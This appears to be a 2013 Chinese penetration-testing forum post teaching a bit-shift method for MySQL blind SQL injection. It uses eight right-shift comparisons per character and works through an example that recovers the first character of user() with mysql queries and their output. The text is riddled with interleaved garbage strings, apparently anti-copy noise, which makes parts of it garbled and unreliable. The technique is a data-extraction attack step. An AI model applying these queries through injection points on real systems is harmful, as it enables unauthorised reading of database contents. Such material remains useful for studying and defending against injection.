中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
" D8 [4 i; X: u( m, l1 n" @) H7 H$ d9 F- J1 C% Y2 H

/ w7 @/ t, p2 B6 Z& w. y3 V0 B- M- a* J) c9 J5 s. ~' k
下面将以查询mysql数据库当中user()的第一位为例:# ]: C. _$ c" w" \0 ~) G

7 Q2 s8 M- h* e; ~& R
! e4 D, f4 Z  d4 M) {5 t/ R9 l+ h6 n! f1 }1 p2 l; a, f8 u
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)4 H) G8 t9 h/ a# t
5 d/ O8 X. o8 s. K
' x* P, h3 `/ x+ c- E' o# Q1 Z7 H# V
1 e, a$ S3 t+ e% {" Z, y% I- A1 P* U
首先执行如下sql语句:* [; S5 f. p1 A& }0 \8 E+ r( v) k9 i
' V7 ~; Y% E+ _8 y0 j0 t6 C# s; \& T
5 H+ l: N' ~1 P& h9 x/ s/ |. c( K
* x. v+ ^/ E/ p1 K
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;# C& d* T! Q3 F8 |  a2 r, v
$ L: b( E8 N* W

7 R4 Q1 Z6 d0 o9 V! k2 O6 u+ X+ z; A; J
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的- A) \4 ]5 B: ?. J) e% c
) Y" C9 Q) w( i8 h' ]% f

/ p1 h3 \! E2 J3 ?6 R- W  N9 {$ S. H% j; Y- }8 a% K# a
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
$ g' d9 l8 a; g( y7 U
% @9 B' n! \* Q, h2 V2 a: x9 P 6 L2 i5 M& u. ]# b8 U

8 S+ B( N) n3 m5 n如果运算结果为1,说明第一位为0,不为1
5 e6 ^5 l, ^6 A7 }8 j7 h4 g! v1 p
1 b% m8 B; S$ V; I 4 `4 V( L# a9 l' X$ O

- X3 G3 e2 A3 z- Z# U+————————————–+
' p' Q" G/ m1 \( l/ n
( c9 ]7 I; K/ b3 L| (ascii((substr(user(),1,1))) >> 7)=0 |
, ]" d! F* b. X) ~( y' \0 |
% J+ G! S; q) V" G+————————————–+
  e4 [8 @; S. E$ q8 Y8 a0 _
: B& p7 S- H( E+ N) h| 1 |
: s9 D  Z4 J. P! \# f1 t- P# Y6 z- v  u# y7 V* e, z
+————————————–+
6 ]8 ]; _3 N' N0 Z6 w7 N( Z5 k, X! k
1 row in set (0.00 sec)6 c& i" ~$ ?0 M% t$ f' k

; P& R5 D  e4 P# c+ B这样我们就确定这个8bit的ascii的第一位为01 P' t) H& B5 }# A9 q. Y

9 W0 o; O$ G. j; r/ l' [! P2 p
9 w4 G$ @; l/ D7 r0 _1 d' k
2 g5 S* o+ X& V% Z1 h3 l( b第二次我们来做6次右偏移来确定前两位: g5 h" {$ c+ j0 R6 v1 t

" [7 {5 O+ i2 E! ^# \
+ P2 O, i, c$ w7 L: |, _
8 U. y. j0 l3 c' c  m4 {前两位可能是01或00,即依然可以与0做比较,
1 u3 x( l8 w4 u$ ^' [7 r
% ]8 C, N9 @+ n; v7 hmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
) @1 _* {$ p7 S1 \) k) Y" M8 h5 P0 m- Y/ h* C( u
+————————————–+
5 r$ e& q6 p2 {% M
6 E! h, B6 C( m. j5 d& s' S| (ascii((substr(user(),1,1))) >> 6)=0 |7 o7 H( x3 l3 f

: h* u6 X4 E! \5 y8 B: u+————————————–+; W; P& z& ^, L: g

$ Q3 K0 N' g6 G" _: V| 0 |
+ O' o9 V# t2 t, k$ J0 G! V$ W" r
+————————————–+, o& I+ n: I$ Q2 `( W* x* q
6 H% ~8 \4 U, c$ q0 X
1 row in set (0.00 sec)8 B  H! |& Q& Y0 o3 M( T

' L# i4 a) e& G
7 A6 V$ O  m) \; B3 @; d# q. Z4 U5 a. k# S
结果为0,即第二位为1
1 y  v* D8 @3 u% N4 t% N2 n
! _! y+ |0 o% T/ I% S. I# W' t- S 6 S3 t1 P% p1 }0 N
9 c0 U# P7 P* p: P* y
开始猜测前三位为010或011; N+ X) z- g- u. H% J* h9 h5 o

. T& m( Q' m+ i) i! }& ?
6 _' Q' O+ n% i3 `5 r# I: N8 h/ [6 R" v+ a
让我们看看010和011的ascii码是多少
, u) f% ?8 W: Y' p) f# Q$ U7 U
! s  t  Z$ U' {' S5 W ; L- K0 P! @1 t) j; x0 j3 }

$ U1 a3 ^" q9 M- f3 `分别查询select b’011′ select b’010′" r7 f8 x8 h* F; G; J

2 S- O0 F! q" W# b+ J) X. ? & Y. ]7 x" b# d, _2 r( `2 O# Y0 D
  C/ F: J) R& R' R( E
获得结果 010 = 2 011 = 3
# y) ?1 a! \& T0 H7 H. B/ A) J3 ?/ d& R) K& a" z5 g* {
, N8 k. B+ G) E% @

2 ~9 L3 ~# J% Y) [7 O+ e执行如下sql:
# I: t- l- K3 h5 w- d
9 _8 B. |6 Z2 I# |2 ?7 m) y - H5 W( a$ j+ d- i
6 W9 _" I( H7 T5 I" ?
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;- M) g% S$ o$ g4 ~6 f% ]1 u
5 `+ R2 S) z4 k) ]5 _
+————————————–+
5 j1 ]+ g, n" u: ~* J- l
/ c2 C$ ], h1 K- `  b" V| (ascii((substr(user(),1,1))) >> 5)=2 |
3 R. [3 m3 {( U) ?4 J; B- [
: ~7 X* G) q; i' {+————————————–+! C$ G* K/ O9 K. }0 f+ D

/ N. q1 _8 n4 N1 O. ^: s+ ]| 0 |/ o! |% P7 z- o' b1 R, R4 a

( B8 w4 Q3 ?# D+————————————–+
' y( ^4 x+ ~8 I, ~" m! y% b0 b) q* O, [, X3 S  S% a
即前三位不为010,而是011
4 g9 }' J' |% m) K
6 H) M; y6 B9 \# F( c  W
' S4 }8 [* f- \+ Q1 s
% \; c- I& l. A9 A( N) u直到获得最后一位
7 @3 R# _4 j7 r& M7 v
# T' {8 J0 N6 c; m+ f# s8 @+ b
& k0 \$ A9 ]; ]* O- B. G
3 j9 ?5 x" J% b( T" d' r最终结果为:011100109 d. y& ]) D& k

5 O/ L& Y! M1 H
/ X- j4 v$ F6 A, E4 a' o* m) j3 t5 L: [+ q) d2 g! L0 }
转换一下:
3 C/ `8 S' i" O! v; v. ^
! Y1 o' Z  `3 w  F( U, Z 9 a# H7 u, j8 c2 I& w
: `% d- s: z0 V
select b’01110010′
9 T- u! i# Q' a0 z. t3 w6 u
/ H, N3 k: ], d8 I8 J; i  h3 r% S 5 _6 V' P& c& E/ e8 j9 D/ I8 ], _
3 C: V/ G3 Z( M& V, X: Y
查询结果, r, o' X! a5 O; ^
$ G8 U  l7 \: E$ |% S& q& X. c
( }2 n3 @6 U$ _5 I" M  i
% n1 V/ I2 Y9 o+ ]5 ^
+————-+  i$ J, M. g" u  Q# {& ^7 N

- y. i- d: U1 P| b’01110010′ |
+ L! g  ]1 I; B
8 z* q. \* J$ G1 i! M% ~+————-+
1 _: g* c) Q; x  p  h3 v
4 ~$ h$ q3 b( F1 M: O" Q7 n& B| r |) H! N* x9 Q- E

7 ]4 s6 G+ j1 R1 T( E* z+————-+; `! p1 O5 i" W

+ h0 @8 @+ l+ ?  T/ W1 _1 B1 row in set (0.00 sec)
% I& n, _. r4 o! p$ x: W6 L9 B5 N. b; S9 \+ H
4 \: B% x. s/ k* r- Q

7 S; T$ Q7 S! }这样我们就获得了user()的第一位.其它位依此类推
+ b& I1 g7 N+ q: E# U2 n
! \9 J: c( U1 f% W6 _; L: ~% r




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2